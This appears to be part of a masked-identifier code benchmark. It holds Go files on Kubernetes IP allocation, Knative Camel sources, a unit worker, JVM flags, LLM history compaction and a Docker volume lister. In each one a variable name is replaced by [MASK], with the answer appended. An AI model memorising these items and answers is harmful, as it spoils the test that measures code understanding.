existingServiceIPS) if err != nil { return """", err } return } // Find Range rangeKey := fmt.Sprintf(""range-%s"", namespace) // Lookup current namespace if ipRange, ok = cm.Data[rangeKey]; !ok { klog.Info(fmt.Errorf(""no range config for namespace [%s] exists in key [%s] configmap [%s]"", namespace, rangeKey, configMapName)) // Lookup global range configmap data if ipRange, ok = cm.Data[""range-global""]; !ok { klog.Info(fmt.Errorf(""no global range config exists [range-global]"")) } else { klog.Infof(""Taking address from [range-global] pool"") } } else { klog.Infof(""Taking address from [%s] pool"", rangeKey) } if ok { vip, err = ipam.FindAvailableHostFromRange(namespace, ipRange, existingServiceIPS) if err != nil { return vip, err } return } return """", fmt.Errorf(""no IP address ranges could be found either range-global or range-"") } ",existingGatewayIPS 825,"/* Copyright 2019 The Knative Authors Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package resources import ( ""errors"" ""fmt"" ""net/url"" camelv1alpha1 ""github.com/apache/camel-k/pkg/apis/camel/v1alpha1"" camelknativev1alpha1 ""github.com/apache/camel-k/pkg/apis/camel/v1alpha1/knative"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ) func MakeIntegration(args *CamelArguments) (*camelv1alpha1.Integration, error) { if args.Source.Integration == nil && args.Source.Flow == nil { return nil, errors.New(""empty sources"") } if _, present := args.Overrides[""source""]; !present { if args.Overrides == nil { args.Overrides = make(map[string]string) } args.Overrides[""source""] = fmt.Sprintf(""camel-source:%s/%s"", args.Namespace, args.Name) } environment, err := makeCamelEnvironment(args.SinkType, args.SinkURL, args.Overrides) if err != nil { return nil, err } var spec *camelv1alpha1.IntegrationSpec if args.Source.Integration != nil { spec = args.Source.Integration.DeepCopy() } else { spec = &camelv1alpha1.IntegrationSpec{} } if args.Source.Flow != nil { flows := []map[string]interface{}{*args.Source.Flow} flowData, err := MarshalCamelFlows(flows) if err != nil { return nil, err } spec.Sources = append(spec.Sources, camelv1alpha1.SourceSpec{ Loader: ""knative-source-yaml"", DataSpec: camelv1alpha1.DataSpec{ Name: ""flow.yaml"", Content: flowData, }, }) } if spec.Traits == nil { spec.Traits = make(map[string]camelv1alpha1.TraitSpec) } spec.Traits[""knative""] = camelv1alpha1.TraitSpec{ Configuration: map[string]string{ ""configuration"": environment, }, } integration := camelv1alpha1.Integration{ TypeMeta: metav1.TypeMeta{ APIVersion: camelv1alpha1.SchemeGroupVersion.String(), Kind: ""Integration"", }, ObjectMeta: metav1.ObjectMeta{ GenerateName: args.Name + ""-"", Namespace: args.Namespace, }, Spec: *spec, } return &integration, nil } func makeCamelEnvironment( [MASK] metav1.TypeMeta, sinkURIString string, overrides map[string]string) (string, error) { sinkURI, err := url.Parse(sinkURIString) if err != nil { return """", err } env := camelknativev1alpha1.NewCamelEnvironment() svc, err := camelknativev1alpha1.BuildCamelServiceDefinition( ""sink"", camelknativev1alpha1.CamelEndpointKindSink, camelknativev1alpha1.CamelServiceTypeEndpoint, *sinkURI, [MASK] .APIVersion, [MASK] .Kind, ) if err != nil { return """", err } if svc.Metadata == nil { svc.Metadata = make(map[string]string) } for k, v := range overrides { svc.Metadata[""ce.override.ce-""+k] = v } env.Services = append(env.Services, svc) return env.Serialize() } ",sinkType 826,"package agent var( WorkerIOInstance *WorkerIO ) type MsgWorkerIOResponse struct{ Err chan error ResponseUnit *Unit } type MsgWorkerIORequest struct{ Res *MsgWorkerIOResponse CurrentUnit *Unit } type WorkerIO struct{ Units map[string]Unit AddUnit chan *MsgWorkerIORequest UpdateUnit chan *MsgWorkerIORequest StopUnit chan *MsgWorkerIORequest RemoveUnit chan *MsgWorkerIORequest PurgeUnit chan *MsgWorkerIORequest ListUnit chan *MsgWorkerIORequest } func NewWorkerIO() *WorkerIO{ if WorkerIOInstance == nil{ WorkerIOInstance = new(WorkerIO) WorkerIOInstance.AddUnit = make(chan *MsgWorkerIORequest) WorkerIOInstance.UpdateUnit = make(chan *MsgWorkerIORequest) WorkerIOInstance.StopUnit = make(chan *MsgWorkerIORequest) WorkerIOInstance.RemoveUnit = make(chan *MsgWorkerIORequest) WorkerIOInstance.PurgeUnit = make(chan *MsgWorkerIORequest) WorkerIOInstance.ListUnit = make(chan *MsgWorkerIORequest) go WorkerIOInstance.Run() } return WorkerIOInstance } func (w *WorkerIO) Run(){ for{ select { case m := <-w.AddUnit: m.Res.ResponseUnit = m.CurrentUnit m.Res.Err <- addUnit(m) case m := <-w.UpdateUnit: m.Res.ResponseUnit = m.CurrentUnit m.Res.Err <- updateUnit(m) case m := <-w.StopUnit: m.Res.ResponseUnit = m.CurrentUnit m.Res.Err <- stopUnit(m) case m := <-w.RemoveUnit: m.Res.ResponseUnit = m.CurrentUnit m.Res.Err <- removeUnit(m) case m := <-w.PurgeUnit: m.Res.ResponseUnit = m.CurrentUnit m.Res.Err <- purgeUnit(m) } } } func addUnit(mreq *MsgWorkerIORequest)(error){ fs := []func()(err error){mreq.CurrentUnit.CreateUnitFile, mreq.CurrentUnit.CreateLinkUnitFile, mreq.CurrentUnit.startUnit} return pipelineUnitFunctions(mreq, fs, statusStarting, statusRunning, statusError) } func updateUnit(mreq *MsgWorkerIORequest)(error){ // create file v2 // create link v2 // start process // set status /* mres.ResponseUnit = mreq.CurrentUnit fs := []func()(err error){mreq.CurrentUnit.CreateUnitFile, mreq.CurrentUnit.CreateLinkUnitFile, mreq.CurrentUnit.startUnit} mres.Err = pipelineUnitFunctions(mreq, fs, statusStarting, statusRunning, statusError) */ return nil } func stopUnit(mreq *MsgWorkerIORequest)(error){ //stop u // set status /* mres.ResponseUnit = mreq.CurrentUnit fs := []func()(err error){mreq.CurrentUnit.CreateUnitFile, mreq.CurrentUnit.CreateLinkUnitFile, mreq.CurrentUnit.startUnit} mres.Err = pipelineUnitFunctions(mreq, fs, statusStarting, statusRunning, statusError) */ return nil } func removeUnit(mreq *MsgWorkerIORequest)(error){ //stop u vn //remove u vn /* // set status mres.ResponseUnit = mreq.CurrentUnit fs := []func()(err error){mreq.CurrentUnit.CreateUnitFile, mreq.CurrentUnit.CreateLinkUnitFile, mreq.CurrentUnit.startUnit} mres.Err = pipelineUnitFunctions(mreq, fs, statusStarting, statusRunning, statusError) */ return nil } func purgeUnit(mreq *MsgWorkerIORequest)(error){ //stopAll u //removeAll u // set status /* mres.ResponseUnit = mreq.CurrentUnit fs := []func()(err error){mreq.CurrentUnit.CreateUnitFile, mreq.CurrentUnit.CreateLinkUnitFile, mreq.CurrentUnit.startUnit} mres.Err = pipelineUnitFunctions(mreq, fs, statusStarting, statusRunning, statusError) */ return nil } func pipelineUnitFunctions (m *MsgWorkerIORequest, fs []func()(err error), [MASK] Status, finishState Status, errorState Status)(err error){ m.CurrentUnit.Status = [MASK] for _, f := range fs{ if err = f(); err != nil{ m.CurrentUnit.Status = errorState return } } m.CurrentUnit.Status = finishState return } ",initialState 827,"package jstart import ( ""strings"" ) // C2Rule enable/disable jit c2 compilation type C2Rule struct { } func (c *C2Rule) Name() string { return ""c2"" } func (c *C2Rule) ConvertOptions(context Context, originalOptions []string, ruleParam string) []string { ruleParam = strings.TrimSpace(ruleParam) var level string if ruleParam == ""0"" || ruleParam == ""1"" || ruleParam == ""2"" || ruleParam == ""3"" || ruleParam == ""4"" { level = ruleParam } else if ruleParam == ""on"" { level = ""4"" } else if ruleParam == ""off"" { level = ""1"" } else if ruleParam == ""auto"" { limit := context.GetMemoryLimit() if limit <= 0 { return originalOptions } if limit > 300 { // 300MB level = ""4"" } else { level = ""1"" } } else { return originalOptions } [MASK] := RemoveOptionsWithPrefix(originalOptions, ""-Xint"", ""-XX:+TieredCompilation"", ""-XX:-TieredCompilation"", ""-XX:TieredStopAtLevel"") return append( [MASK] , ""-XX:+TieredCompilation"", ""-XX:TieredStopAtLevel=""+level) } ",afterCleanUpOptions 828,"package gollem import ( ""bytes"" ""context"" ""encoding/json"" ""strings"" ""text/template"" ""github.com/anthropics/anthropic-sdk-go"" ""github.com/m-mizutani/goerr/v2"" ""github.com/sashabaranov/go-openai"" ) // HistoryCompactor is a function type that handles compaction of conversation history // It evaluates if compaction is needed and performs it if necessary. // Returns the compacted history if compaction was performed, or the original history if no compaction was needed. type HistoryCompactor func(ctx context.Context, history *History, llmClient LLMClient) (*History, error) // DefaultCompactionSystemPrompt is the default system prompt used for conversation summarization const DefaultCompactionSystemPrompt = `You are an expert at summarizing conversations. Your task is to create comprehensive summaries that will replace the original messages to reduce memory usage while maintaining conversation continuity. SUMMARIZATION OBJECTIVES: 1. Preserve the context needed for the assistant to continue the conversation naturally 2. Maintain the logical flow and progression of topics discussed 3. Enable the assistant to understand what has been accomplished and what remains to be done CRITICAL INFORMATION TO PRESERVE: - User's main goals, requests, and preferences mentioned throughout the conversation - Key decisions made and their rationale - Important facts, data, or specific values discussed (names, numbers, dates, locations, etc.) - Problems encountered and their solutions - Current state of any ongoing tasks or processes - All tool/function calls made and their results (these often contain critical data) - Any commitments, promises, or action items agreed upon - User's personal information or context shared (if any) - Technical specifications, requirements, or constraints mentioned - Error messages or issues that arose and how they were resolved SUMMARIZATION GUIDELINES: - Maintain chronological order of significant events - Use clear, concise language while preserving technical accuracy - Include enough detail that someone reading only the summary could understand the conversation's progress - Pay special attention to the most recent topics as they're likely most relevant - Preserve the tone and relationship dynamics established in the conversation TARGET SUMMARY LENGTH: - Aim to reduce the conversation to approximately 20-30% of its original length - For very long conversations (50+ messages), aim for 10-20% of original length - The summary should be substantial enough to maintain context but concise enough to significantly reduce memory usage - Prioritize quality over strict length limits - it's better to be slightly longer if it preserves critical information Please provide a summary that captures all essential information while achieving significant compaction.` // DefaultCompactionPromptTemplate is the default prompt template used for conversation summarization. // This template simply presents the conversation history to the LLM for summarization. // The detailed instructions about how to summarize are provided in the DefaultCompactionSystemPrompt. // // This template uses Go's text/template syntax and receives a TemplateData struct with the following fields: // - Messages: an array of message objects, each containing: // - Role: the role of the speaker (e.g., ""user"", ""assistant"", ""system"", ""tool"") // - Content: the message content // - ToolCalls: array of function/tool calls made by the assistant // - ToolResponses: array of tool execution results // // - MessageCount: the total number of messages // // Example usage in custom templates: // // {{range .Messages}} // {{.Role}}: {{.Content}} // {{range .ToolCalls}} [Called {{.Name}} with {{.Arguments}}]{{end}} // {{range .ToolResponses}} [{{.Name}} returned: {{.Content}}]{{end}} // {{end}} const DefaultCompactionPromptTemplate = `Here is the conversation history to summarize ({{.MessageCount}} messages): {{range .Messages}}{{.Role}}: {{.Content}}{{if .ToolCalls}} Tool calls:{{range .ToolCalls}} - {{.Name}}: {{.Arguments}}{{end}}{{end}}{{if .ToolResponses}} Tool responses:{{range .ToolResponses}} - {{.Name}}: {{.Content}}{{end}}{{end}} {{end}}` // TemplateMessage represents a single message in the conversation history for template rendering type TemplateMessage struct { Role string Content string // ToolCalls contains function/tool calls made by the assistant ToolCalls []TemplateToolCall // ToolResponses contains tool execution results ToolResponses []TemplateToolResponse } // TemplateToolCall represents a tool/function call in the template type TemplateToolCall struct { Name string Arguments string } // TemplateToolResponse represents a tool execution result in the template type TemplateToolResponse struct { Name string Content string } // TemplateData contains the data passed to the prompt template type TemplateData struct { // Messages is an array of conversation messages Messages []TemplateMessage // MessageCount is the total number of messages MessageCount int } // historyCompactionOptions contains internal configuration options for history compaction type historyCompactionOptions struct { maxTokens int // Maximum tokens before compaction is triggered preserveRecentTokens int // Number of recent tokens to preserve systemPrompt string promptTemplate string } // HistoryCompactionOption is a functional option for configuring history compaction type HistoryCompactionOption func(*historyCompactionOptions) // WithMaxTokens sets the maximum number of tokens allowed before compaction is triggered // Default: 50000 (suitable for most use cases while leaving room for responses) func WithMaxTokens(tokens int) HistoryCompactionOption { return func(opts *historyCompactionOptions) { opts.maxTokens = tokens } } // WithPreserveRecentTokens sets the number of recent tokens to preserve during compaction // These tokens will never be compacted to maintain conversation context // Default: 10000 (preserves substantial recent context) func WithPreserveRecentTokens(tokens int) HistoryCompactionOption { return func(opts *historyCompactionOptions) { opts.preserveRecentTokens = tokens } } // WithCompactionSystemPrompt sets a custom system prompt for the summarization LLM func WithCompactionSystemPrompt(prompt string) HistoryCompactionOption { return func(opts *historyCompactionOptions) { opts.systemPrompt = prompt } } // WithCompactionPromptTemplate sets a custom prompt template for summarization. // The template should use Go's text/template syntax and will receive a TemplateData struct. // See DefaultCompactionPromptTemplate for the available fields and example usage. func WithCompactionPromptTemplate(tmpl string) HistoryCompactionOption { return func(opts *historyCompactionOptions) { opts.promptTemplate = tmpl } } // NewHistoryCompactor creates a history compactor that uses summarization to preserve context // summarizerLLM: LLM client used for generating summaries of old messages while preserving context // options: Functional options for configuring compaction behavior func NewHistoryCompactor(summarizerLLM LLMClient, options ...HistoryCompactionOption) HistoryCompactor { // Apply default options opts := &historyCompactionOptions{ maxTokens: 50000, // 50k tokens - reasonable default for modern LLMs preserveRecentTokens: 10000, // 10k tokens - preserves substantial recent context systemPrompt: DefaultCompactionSystemPrompt, promptTemplate: DefaultCompactionPromptTemplate, } // Apply provided options for _, opt := range options { opt(opts) } // Latest LLM context window sizes (as of 2024) contextLimits := map[LLMType]int{ llmTypeOpenAI: 128000, // GPT-4 Turbo/GPT-4o llmTypeClaude: 200000, // Claude 3.5 Sonnet / Claude 4 llmTypeGemini: 1000000, // Gemini 2.0 Flash and newer } // Per-LLM token thresholds based on context window size targetTokens := map[LLMType]int{ llmTypeOpenAI: 100000, // ~78% of 128k llmTypeClaude: 150000, // ~75% of 200k llmTypeGemini: 800000, // ~80% of 1M } emergencyTokens := map[LLMType]int{ llmTypeOpenAI: 120000, // ~94% of 128k llmTypeClaude: 190000, // ~95% of 200k llmTypeGemini: 950000, // ~95% of 1M } return func(ctx context.Context, history *History, llmClient LLMClient) (*History, error) { if history == nil { return nil, goerr.New(""history is nil"") } // Check if compaction is needed using unified logic if !shouldCompact(ctx, history, llmClient, opts, contextLimits, targetTokens, emergencyTokens) { // No compaction needed, return the original history as-is return history, nil } // Compaction is needed, perform it using summarization return summarizeCompact(ctx, history, summarizerLLM, opts) } } // shouldCompact checks if history compaction is needed func shouldCompact(ctx context.Context, history *History, llmClient LLMClient, options *historyCompactionOptions, contextLimits, targetTokens, emergencyTokens map[LLMType]int) bool { if history == nil { return false } currentTokens := estimateTokens(ctx, history, llmClient) // 1. Check against configured max tokens if options.maxTokens > 0 { // Emergency compaction at 1.5x the limit if currentTokens >= int(float64(options.maxTokens)*1.5) { return true } // Normal compaction at the limit if currentTokens >= options.maxTokens { return true } } // 2. Emergency token count check based on LLM type emergencyThreshold, exists := emergencyTokens[history.LLType] if exists && currentTokens >= emergencyThreshold { return true } // 3. Near context limit check (95% threshold for emergency) if isNearContextLimitEmergency(ctx, history, llmClient, history.LLType, contextLimits) { return true } // 4. Normal token count check based on LLM type [MASK] , exists := targetTokens[history.LLType] if exists && currentTokens >= [MASK] { return true } // 5. Normal context limit proximity check (80% threshold) if isNearContextLimit(ctx, history, llmClient, history.LLType, contextLimits) { return true } return false } // estimateTokens estimates the number of tokens in the history using LLMClient func estimateTokens(ctx context.Context, history *History, llmClient LLMClient) int { if history == nil { return 0 } // Use LLMClient's CountTokens method for accurate counting if client is available if llmClient != nil { tokens, err := llmClient.CountTokens(ctx, history) if err == nil { return tokens } // If CountTokens fails, fall back to character estimation } // Fallback to simple character-based estimation if CountTokens fails or client is nil return fallbackEstimateTokens(history) } // fallbackEstimateTokens provides a fallback token estimation method func fallbackEstimateTokens(history *History) int { if history == nil { return 0 } totalChars := 0 switch history.LLType { case llmTypeOpenAI: for _, msg := range history.OpenAI { totalChars += len(msg.Role) + len(msg.Content) // Include tool calls in estimation if msg.ToolCalls != nil { for _, call := range msg.ToolCalls { totalChars += len(call.Function.Name) + len(call.Function.Arguments) } } } case llmTypeClaude: for _, msg := range history.Claude { totalChars += len(string(msg.Role)) for _, content := range msg.Content { if content.Text != nil { totalChars += len(*content.Text) } } } case llmTypeGemini: for _, msg := range history.Gemini { totalChars += len(msg.Role) for _, part := range msg.Parts { totalChars += len(part.Text) } } } // Rough estimation: 4 characters = 1 token (typical ratio for English) return totalChars / 4 } // isNearContextLimit checks if history is approaching context window limits (80% threshold) func isNearContextLimit(ctx context.Context, history *History, llmClient LLMClient, llmType LLMType, contextLimits map[LLMType]int) bool { limit, exists := contextLimits[llmType] if !exists { limit = 8000 // Default limit } estimatedTokens := estimateTokens(ctx, history, llmClient) // Recommend compaction when reaching 80% of limit return estimatedTokens >= int(float64(limit)*0.8) } // isNearContextLimitEmergency checks if history is at emergency context window limits (95%) func isNearContextLimitEmergency(ctx context.Context, history *History, llmClient LLMClient, llmType LLMType, contextLimits map[LLMType]int) bool { limit, exists := contextLimits[llmType] if !exists { limit = 8000 // Default limit } estimatedTokens := estimateTokens(ctx, history, llmClient) // Emergency compaction when reaching 95% of limit return estimatedTokens >= int(float64(limit)*0.95) } // summarizeCompact performs compaction by summarizing old messages func summarizeCompact(ctx context.Context, history *History, llmClient LLMClient, options *historyCompactionOptions) (*History, error) { if history == nil { return nil, goerr.New(""history is nil"") } if llmClient == nil { return nil, goerr.New(""LLM client is not set for summarization"") } // Check if we have enough tokens to compact currentTokens := estimateTokens(ctx, history, llmClient) if currentTokens <= options.preserveRecentTokens { return history, nil } // Extract messages to be summarized oldHistory, recentHistory := extractMessages(ctx, history, options.preserveRecentTokens, llmClient) // Generate summary summary, err := generateSummary(ctx, llmClient, oldHistory, options.systemPrompt, options.promptTemplate) if err != nil { return nil, goerr.Wrap(err, ""failed to generate summary"") } // Build new history with summary + recent messages compacted := buildCompactedHistory(history, summary, recentHistory) compacted.Compacted = true compacted.OriginalLen = history.ToCount() return compacted, nil } // extractMessages separates old messages from recent messages based on token count func extractMessages(ctx context.Context, history *History, preserveRecentTokens int, llmClient LLMClient) (old, recent *History) { if history == nil { return nil, nil } // Create base History objects oldHistory := &History{ LLType: history.LLType, Version: history.Version, } recentHistory := &History{ LLType: history.LLType, Version: history.Version, } // Find the split point based on token count // We'll iterate from the end and accumulate tokens until we reach preserveRecentTokens switch history.LLType { case llmTypeOpenAI: msgs := history.OpenAI if len(msgs) == 0 { return nil, recentHistory } // Find split point by counting tokens from the end splitIdx := len(msgs) accumulatedTokens := 0 for i := len(msgs) - 1; i >= 0; i-- { // Create temporary history with just this message to estimate its tokens tempHistory := &History{LLType: llmTypeOpenAI, OpenAI: []openai.ChatCompletionMessage{msgs[i]}} msgTokens := estimateTokens(ctx, tempHistory, llmClient) if accumulatedTokens+msgTokens > preserveRecentTokens && i < len(msgs)-1 { // We've exceeded the limit, use previous index as split splitIdx = i + 1 break } accumulatedTokens += msgTokens splitIdx = i } if splitIdx == 0 { // All messages fit in recent history recentHistory.OpenAI = append([]openai.ChatCompletionMessage{}, msgs...) return nil, recentHistory } oldHistory.OpenAI = append([]openai.ChatCompletionMessage{}, msgs[:splitIdx]...) recentHistory.OpenAI = append([]openai.ChatCompletionMessage{}, msgs[splitIdx:]...) case llmTypeClaude: msgs := history.Claude if len(msgs) == 0 { return nil, recentHistory } // Find split point by counting tokens from the end splitIdx := len(msgs) accumulatedTokens := 0 for i := len(msgs) - 1; i >= 0; i-- { // Create temporary history with just this message to estimate its tokens tempHistory := &History{LLType: llmTypeClaude, Claude: []claudeMessage{msgs[i]}} msgTokens := estimateTokens(ctx, tempHistory, llmClient) if accumulatedTokens+msgTokens > preserveRecentTokens && i < len(msgs)-1 { // We've exceeded the limit, use previous index as split splitIdx = i + 1 break } accumulatedTokens += msgTokens splitIdx = i } if splitIdx == 0 { // All messages fit in recent history recentHistory.Claude = append([]claudeMessage{}, msgs...) return nil, recentHistory } oldHistory.Claude = append([]claudeMessage{}, msgs[:splitIdx]...) recentHistory.Claude = append([]claudeMessage{}, msgs[splitIdx:]...) case llmTypeGemini: msgs := history.Gemini if len(msgs) == 0 { return nil, recentHistory } // Find split point by counting tokens from the end splitIdx := len(msgs) accumulatedTokens := 0 for i := len(msgs) - 1; i >= 0; i-- { // Create temporary history with just this message to estimate its tokens tempHistory := &History{LLType: llmTypeGemini, Gemini: []geminiMessage{msgs[i]}} msgTokens := estimateTokens(ctx, tempHistory, llmClient) if accumulatedTokens+msgTokens > preserveRecentTokens && i < len(msgs)-1 { // We've exceeded the limit, use previous index as split splitIdx = i + 1 break } accumulatedTokens += msgTokens splitIdx = i } if splitIdx == 0 { // All messages fit in recent history recentHistory.Gemini = append([]geminiMessage{}, msgs...) return nil, recentHistory } oldHistory.Gemini = append([]geminiMessage{}, msgs[:splitIdx]...) recentHistory.Gemini = append([]geminiMessage{}, msgs[splitIdx:]...) } return oldHistory, recentHistory } // openAIToTemplateMessages converts OpenAI messages to TemplateMessage array func openAIToTemplateMessages(msgs []openai.ChatCompletionMessage) []TemplateMessage { var result []TemplateMessage for _, msg := range msgs { if msg.Role != ""system"" { // Exclude system messages from summarization tmplMsg := TemplateMessage{ Role: msg.Role, Content: msg.Content, } // Handle tool calls from assistant if len(msg.ToolCalls) > 0 { for _, toolCall := range msg.ToolCalls { tmplMsg.ToolCalls = append(tmplMsg.ToolCalls, TemplateToolCall{ Name: toolCall.Function.Name, Arguments: toolCall.Function.Arguments, }) } } // Handle tool responses (tool role) if msg.Role == ""tool"" && msg.ToolCallID != """" { // For tool responses, we'll add them as ToolResponses // Note: We might need to match this with the previous assistant message tmplMsg.ToolResponses = append(tmplMsg.ToolResponses, TemplateToolResponse{ Name: msg.Name, Content: msg.Content, }) } result = append(result, tmplMsg) } } return result } // claudeToTemplateMessages converts Claude messages to TemplateMessage array func claudeToTemplateMessages(msgs []claudeMessage) []TemplateMessage { var result []TemplateMessage for _, msg := range msgs { var content strings.Builder var toolCalls []TemplateToolCall var toolResponses []TemplateToolResponse for _, c := range msg.Content { if c.Text != nil { content.WriteString(*c.Text) } // Handle tool use (Claude's way of making tool calls) if c.ToolUse != nil { // Convert Input (interface{}) to JSON string argsJSON, err := json.Marshal(c.ToolUse.Input) if err != nil { // Use error placeholder if marshaling fails argsJSON = []byte(`{""error"": ""failed to marshal arguments""}`) } toolCalls = append(toolCalls, TemplateToolCall{ Name: c.ToolUse.Name, Arguments: string(argsJSON), }) } // Handle tool results if c.ToolResult != nil { toolResponses = append(toolResponses, TemplateToolResponse{ Name: c.ToolResult.ToolUseID, // Using ID as name proxy Content: c.ToolResult.Content, }) } } result = append(result, TemplateMessage{ Role: string(msg.Role), Content: content.String(), ToolCalls: toolCalls, ToolResponses: toolResponses, }) } return result } // geminiToTemplateMessages converts Gemini messages to TemplateMessage array func geminiToTemplateMessages(msgs []geminiMessage) []TemplateMessage { var result []TemplateMessage for _, msg := range msgs { var content strings.Builder var toolCalls []TemplateToolCall var toolResponses []TemplateToolResponse for _, part := range msg.Parts { if part.Text != """" { content.WriteString(part.Text) } // Handle function calls (when Type is ""function_call"") if part.Type == ""function_call"" && part.Name != """" { argsJSON, err := json.Marshal(part.Args) if err != nil { // Use error placeholder if marshaling fails argsJSON = []byte(`{""error"": ""failed to marshal arguments""}`) } toolCalls = append(toolCalls, TemplateToolCall{ Name: part.Name, Arguments: string(argsJSON), }) } // Handle function responses (when Type is ""function_response"") if part.Type == ""function_response"" && part.Name != """" { respJSON, err := json.Marshal(part.Response) if err != nil { // Use error placeholder if marshaling fails respJSON = []byte(`{""error"": ""failed to marshal response""}`) } toolResponses = append(toolResponses, TemplateToolResponse{ Name: part.Name, Content: string(respJSON), }) } } result = append(result, TemplateMessage{ Role: msg.Role, Content: content.String(), ToolCalls: toolCalls, ToolResponses: toolResponses, }) } return result } // generateSummary generates a summary from messages func generateSummary(ctx context.Context, llmClient LLMClient, history *History, systemPrompt, promptTemplate string) (string, error) { if history == nil || history.ToCount() == 0 { return """", nil } // Convert history to template messages var messages []TemplateMessage switch history.LLType { case llmTypeOpenAI: messages = openAIToTemplateMessages(history.OpenAI) case llmTypeClaude: messages = claudeToTemplateMessages(history.Claude) case llmTypeGemini: messages = geminiToTemplateMessages(history.Gemini) } if len(messages) == 0 { return """", nil } // Create template data data := TemplateData{ Messages: messages, MessageCount: len(messages), } // Parse and execute the template tmpl, err := template.New(""prompt"").Parse(promptTemplate) if err != nil { return """", goerr.Wrap(err, ""failed to parse prompt template"") } var buf bytes.Buffer if err := tmpl.Execute(&buf, data); err != nil { return """", goerr.Wrap(err, ""failed to execute prompt template"") } prompt := buf.String() // Create a simple session for summary generation session, err := llmClient.NewSession(ctx, WithSessionSystemPrompt(systemPrompt)) if err != nil { return """", goerr.Wrap(err, ""failed to create summarization session"") } response, err := session.GenerateContent(ctx, Text(prompt)) if err != nil { return """", goerr.Wrap(err, ""failed to generate summary"") } if len(response.Texts) == 0 { return """", goerr.New(""no summary text generated"") } return response.Texts[0], nil } // buildCompactedHistory builds compacted history from summary and recent messages func buildCompactedHistory(original *History, summary string, recentHistory *History) *History { compacted := &History{ LLType: original.LLType, Version: original.Version, Summary: summary, } if recentHistory == nil { return compacted } switch original.LLType { case llmTypeOpenAI: // Add summary as a system message msgs := []openai.ChatCompletionMessage{ { Role: ""system"", Content: ""Conversation history summary: "" + summary, }, } // Preserve original system messages for _, msg := range original.OpenAI { if msg.Role == ""system"" { msgs = append(msgs, msg) } } // Add recent messages directly (no string conversion needed) msgs = append(msgs, recentHistory.OpenAI...) compacted.OpenAI = msgs case llmTypeClaude: // Add summary as a user message to provide context summaryText := ""--- Previous Conversation Summary ---\n"" + summary + ""\n--- End of Summary ---"" summaryMsg := claudeMessage{ Role: anthropic.MessageParamRoleUser, Content: []claudeContentBlock{ { Type: ""text"", Text: &summaryText, }, }, } // Add summary message followed by recent messages compacted.Claude = append([]claudeMessage{summaryMsg}, recentHistory.Claude...) case llmTypeGemini: // Add summary as a user message to provide context summaryMsg := geminiMessage{ Role: ""user"", Parts: []geminiPart{ { Type: ""text"", Text: ""--- Previous Conversation Summary ---\n"" + summary + ""\n--- End of Summary ---"", }, }, } // Add summary message followed by recent messages compacted.Gemini = append([]geminiMessage{summaryMsg}, recentHistory.Gemini...) } return compacted } ",targetThreshold 829,"package main import ( ""bufio"" ""encoding/json"" ""flag"" ""fmt"" ""log"" ""net"" ""net/http"" ""os"" ""regexp"" ) var version string var showVersion = flag.Bool(""version"", false, ""print version and exit"") var socketPath = flag.String(""docker-socket"", ""/var/run/docker.sock"", ""path to socket for Docker"") var outputJson = flag.Bool(""json"", false, ""output in JSON format"") var outputLong = flag.Bool(""l"", false, ""output in detailed format"") var outputOnePerLine = flag.Bool(""1"", false, ""output one per line"") func init() { flag.Usage = func() { fmt.Fprintln(os.Stderr, ` Usage: lsdvol [OPTION]... [ID or NAME] Lists volumes in use by a Docker container. If no ID or NAME is specified, the program is assumed to be executed from within a container and the container ID will be autodetected. Options:`) flag.PrintDefaults() fmt.Fprintf(os.Stderr, ""\nNOTE: This tool requires Docker Remote API version %s or greater.\n"", DockerAPIVersion) } } func main() { flag.Parse() if *showVersion { fmt.Printf(""lsdvol %s\n"", version) os.Exit(0) } docker, err := NewDockerClient(*socketPath) if err != nil { log.Fatalln(err) } var containerId = flag.Arg(0) if containerId == """" { containerId, err = detectContainerId() if err != nil { log.Fatalln(err) } } volumes, err := docker.VolumesFor(containerId) if err != nil { log.Fatalln(err) } if *outputLong { printVolumesLong(volumes) os.Exit(0) } if *outputJson { printVolumesJson(volumes) os.Exit(0) } if *outputOnePerLine || isTerminal() { printVolumesOnePerLine(volumes) os.Exit(0) } printVolumesSpaced(volumes) os.Exit(0) } func isTerminal() bool { var info, _ = os.Stdout.Stat() return info.Mode()&os.ModeCharDevice == os.ModeCharDevice } func printVolumesLong(volumes []DockerVolume) { fmt.Printf(""%d volume(s)\n"", len(volumes)) for _, v := range volumes { var w = """" if v.Writable { w = ""w"" } fmt.Printf(""r%s %s\n"", w, v.Path) } } func printVolumesJson(volumes []DockerVolume) { var enc = json.NewEncoder(os.Stdout) var err = enc.Encode(volumes) if err != nil { log.Fatalln(err) } } func printVolumesOnePerLine(volumes []DockerVolume) { for _, v := range volumes { fmt.Println(v.Path) } } func printVolumesSpaced(volumes []DockerVolume) { for i, v := range volumes { if i == 0 { fmt.Print(v.Path) } else { fmt.Printf("" %s"", v.Path) } } fmt.Println() } func detectContainerId() (string, error) { var file, err = os.Open(""/proc/self/cgroup"") defer file.Close() if err != nil { return """", err } var id = regexp.MustCompile(""[a-f0-9]{64}$"") var scanner = bufio.NewScanner(file) for scanner.Scan() { if err := scanner.Err(); err != nil { return """", err } if x := id.FindString(scanner.Text()); x != """" { return x, nil } } return """", fmt.Errorf(""Unable to determine running container id"") } const DockerAPIVersion = ""v1.14"" type DockerClient struct { http *http.Client } type DockerVolume struct { Path string `json:""path""` Writable bool `json:""writable""` } func NewDockerClient(socketPath string) (client *DockerClient, err error) { info, err := os.Stat(socketPath) if err != nil { return } if info.Mode()&os.ModeSocket != os.ModeSocket { return nil, fmt.Errorf(""%s is not a socket"", socketPath) } client = &DockerClient{ http: &http.Client{Transport: &http.Transport{Dial: func(network string, addr string) (net.Conn, error) { return net.Dial(""unix"", socketPath) }}}} [MASK] , err := client.hasCompatibleVersion() if ! [MASK] { err = fmt.Errorf(""Docker Engine not compatible with Remote API version %s"", DockerAPIVersion) } return } func (c *DockerClient) get(url string) (*http.Response, error) { return c.http.Get(fmt.Sprintf(""http://docker/%s%s"", DockerAPIVersion, url)) } func (c *DockerClient) hasCompatibleVersion() (bool, error) { var res, err = c.get(""/info"") if err != nil { return false, err } return res.StatusCode == http.StatusOK, nil } func (c *DockerClient) VolumesFor(containerId string) ([]DockerVolume, error) { type Info struct { 